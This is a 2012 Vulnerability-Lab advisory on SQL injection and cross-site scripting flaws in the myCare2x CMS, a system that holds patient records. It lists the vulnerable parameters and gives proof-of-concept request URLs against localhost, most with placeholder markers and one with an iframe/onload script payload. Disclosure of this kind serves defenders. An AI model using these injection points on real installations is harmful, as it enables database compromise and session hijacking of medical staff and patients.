258 lines
No EOL
10 KiB
Text
Executable file
258 lines
No EOL
10 KiB
Text
Executable file
Title:
|
||
======
|
||
myCare2x CMS - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-05-03
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=524
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
524
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
myCare2x is an web application. All program modules and data accesses are processed in the server.
|
||
User only need a web browser, in order to use the myCare2x functions, so extensions or changes on
|
||
the modules need no interferences at the clients.
|
||
|
||
- Apache HTTPD Server
|
||
- MySQL Database
|
||
- PHP
|
||
|
||
The spirit of Open Source also takes effect on implemented server software. myCare2x is based upon
|
||
External linkApache as HTTP server and External linkMySQL as database management system. myCare2x is
|
||
written in External linkPHP - an easy to learn and powerful scripting language.
|
||
|
||
(Copy of the Vendor Homepage: http://mycare2x.net/en/solution )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Researcher Team discovered multiple web vulnerabilities in myCare v2x CMS.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-05-03: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
Multiple remote SQL Injection vulnerabilities are detected in myCare2x Content Management System.
|
||
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
|
||
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
|
||
The vulnerability is located on the username post method.
|
||
|
||
Vulnerable Module(s):
|
||
[+] &aktion + &callurl
|
||
[+] dept_nr
|
||
[+] pid
|
||
[+] Eintrag
|
||
[+] name_last
|
||
|
||
|
||
Picture(s):
|
||
../1.png
|
||
../2.png
|
||
|
||
1.2
|
||
Multiple persistent input validation vulnerabilities are detected in myCare2x Content Management System.
|
||
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
|
||
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
|
||
context manipulation. Exploitation requires low user inter action.
|
||
|
||
|
||
Vulnerable Module(s):
|
||
[+] New Person - Insert new Person - Firstname, Lastname & Nickname
|
||
[-] Index - Listing (index.php - Search Results - Name (middle) + Person Data
|
||
Listing (right))
|
||
|
||
|
||
|
||
Picture(s):
|
||
../3.png
|
||
../4.png
|
||
|
||
|
||
1.3
|
||
Multiple non persistent cross site scripting vulnerabilities are detected in myCare2x Content Management System.
|
||
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required
|
||
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
|
||
& client-side content request manipulation.
|
||
|
||
|
||
Vulnerable Module(s):
|
||
[+] mycare_ward_print - Favorite
|
||
[+] mycare2x_pat_info - Aktion
|
||
[+] mycare2x_proc_search - LN
|
||
[+] zusatzcode
|
||
|
||
|
||
Picture(s):
|
||
../5.png
|
||
../6.png
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
1.1
|
||
The SQL Injection vulnerabilities can be exploited by remote attacker without user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
|
||
PoC:
|
||
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4leasdpvcl7qi56&lang=-1%27&aktion=-1%27[SQL-Injection!]
|
||
&callurl=-1%27[SQL-Injection!]&myPid=403
|
||
|
||
http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=596&dept_nr=-1%27[SQL-Injection!]
|
||
http://127.0.0.1/modules/importer/mycare2x_importer.php?sid=6dlskul290sc3dg2ab0mlpa0a3&lang=de&fid=800000101&pid=-1%27[SQL-Injection!]&dept_nr=11
|
||
|
||
http://127.0.0.1/modules/drg/mycare2x_proc_search.php?myAction=Suchen&myOpsEintrag=-
|
||
|
||
1%27[SQL-Injection!&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=Gexxxn&fn=Brxo&bd=&dept_nr=&oprm=&display=
|
||
&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=[SQL-Injection!]
|
||
|
||
http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=&pat_type=Self&panel=1&title1=&title=&name_last=-
|
||
|
||
1%27[SQL-Injection!&name_first=&name_middle=&name_maiden=&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&
|
||
civil_status=&scitizenship=...&citizenship=&sreligion=...&religion=&sethnic_orig=..<2E>nic_orig=&addr_str=&addr_str_nr=&addr_zip=
|
||
&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=&phone_1
|
||
|
||
_nr=&phone_2_code=&phone_2_nr=&cellphone_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=
|
||
&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=&insurance_card_expire=&sid=moq09jafqbl4ledgppvcl7qi56&lang=
|
||
en&myAction=&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=&i_acti
|
||
|
||
ve=0&i_max=2&activ_tab_id=0&recognition=&smartcard=&smartcarddata=
|
||
|
||
http://127.0.0.1/modules/patient/mycare_pid.php?pid=[SQL-Injection!]
|
||
|
||
|
||
1.2
|
||
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required
|
||
user inter action. For demonstration or reproduce ...
|
||
|
||
Affected: index.php - Search Results - Name (middle) + Person Data Listing (right)
|
||
|
||
Review: User/Person Listing
|
||
|
||
<h2><img src="../../gui/img/common/default/ppd_case.gif">829:
|
||
"><iframe src="a" onload='alert("VL")' <,="" "=""><iframe src=a onload=alert("VL") <<
|
||
|
||
URL: http://127.0.0.1/modules/patient/mycare_pid.php?pid=&ext_pid=&date_reg=2012-04-19+06%3A00%3A00&pat_type=
|
||
Self&panel=1&title1=&title=&name_last=%22%3E
|
||
|
||
%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C&name_first=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%
|
||
3C&name_middle=%22%3E%3Ciframe+src%3Da+onload
|
||
|
||
%3Dalert%28%22VL%22%29+%3C&name_maiden=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+
|
||
|
||
%3C&name_others=&extern_access=&date_birth=&sex1=m&sex=m&civil_status1=&civil_status=&scitizenship=...&citizenship=&s
|
||
religion=...&religion=&sethnic_orig=..<2E>nic_orig
|
||
|
||
=&addr_str=&addr_str_nr=&addr_zip=&addr_town=&addr_citytown=&addr_citytown_nr=&nat_id_nr=DE&country_state=&phone_1_code=
|
||
&phone_1_nr=&phone_2_code=&phone_2_nr=&cellphon
|
||
|
||
e_1_nr=&cellphone_2_nr=&fax=&email=&insurance_name=&insurance_instnr=&insurance_vknr=&insurance_nr=&insurance_state=&insurance_state1=
|
||
&insurance_card_expire=&sid=moq09
|
||
|
||
jafqbl4ledgppvcl7qi56&lang=en&myAction=Save&myFind=Find&myselectnr=&insurance_id=&nr=&edit=1&ref=&is_addon=&preselected_city=
|
||
&i_active=0&i_max=2&activ_tab_id=0&recogni
|
||
|
||
tion=&smartcard=&smartcarddata=
|
||
|
||
|
||
|
||
1.3
|
||
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required
|
||
user inter action. For demonstration or reproduce ...
|
||
|
||
http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&favorites=[Cross Site
|
||
Scripting!]
|
||
http://127.0.0.1/modules/nursing/mycare_ward_print.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=[Cross Site
|
||
Scripting!]&favorites=[Cross Site Scripting!]
|
||
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=[Cross Site
|
||
Scripting!]&callurl=topwin&myPid=403
|
||
http://127.0.0.1/modules/patient/mycare2x_pat_info.php?sid=moq09jafqbl4ledgppvcl7qi56&lang=de&aktion=|PRI|AVE|FLB|&callurl=[Cross
|
||
Site Scripting!]&myPid=403
|
||
|
||
http://127.0.0.1/modules/drg/mycare2x_proc_search.phpmyAction=Suchen&myOpsEintrag=1
|
||
&val=&itemx=&mode=&sid=moq09jafqbl4ledgppvcl7qi56&lang=de&pn=100224&opnr=&ln=[Cross Site
|
||
Scripting!]&fn=Brxo&bd=&dept_nr=&oprm=&display=&group_nr=&edit=1&icdtype=&y=&m=&d=&zusatzcode=&keyword=2
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the remote sql injection vulnerabilities are estimated as critical.
|
||
|
||
1.2
|
||
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
|
||
|
||
1.3
|
||
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (storm () vulnerability-lab com)
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () vulnerability-lab com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all
|
||
warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose.
|
||
Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss
|
||
of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such
|
||
damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
|
||
limitation
|
||
may not apply.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Contact: admin () vulnerability-lab com - support () vulnerability-lab com - irc.vulnerability-lab.com
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability
|
||
Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the
|
||
use of
|
||
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.
|
||
|
||
Copyright <20> 2012 Vulnerability-Lab
|
||
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY TEAM
|
||
Website: www.vulnerability-lab.com
|
||
Mail: research () vulnerability-lab com |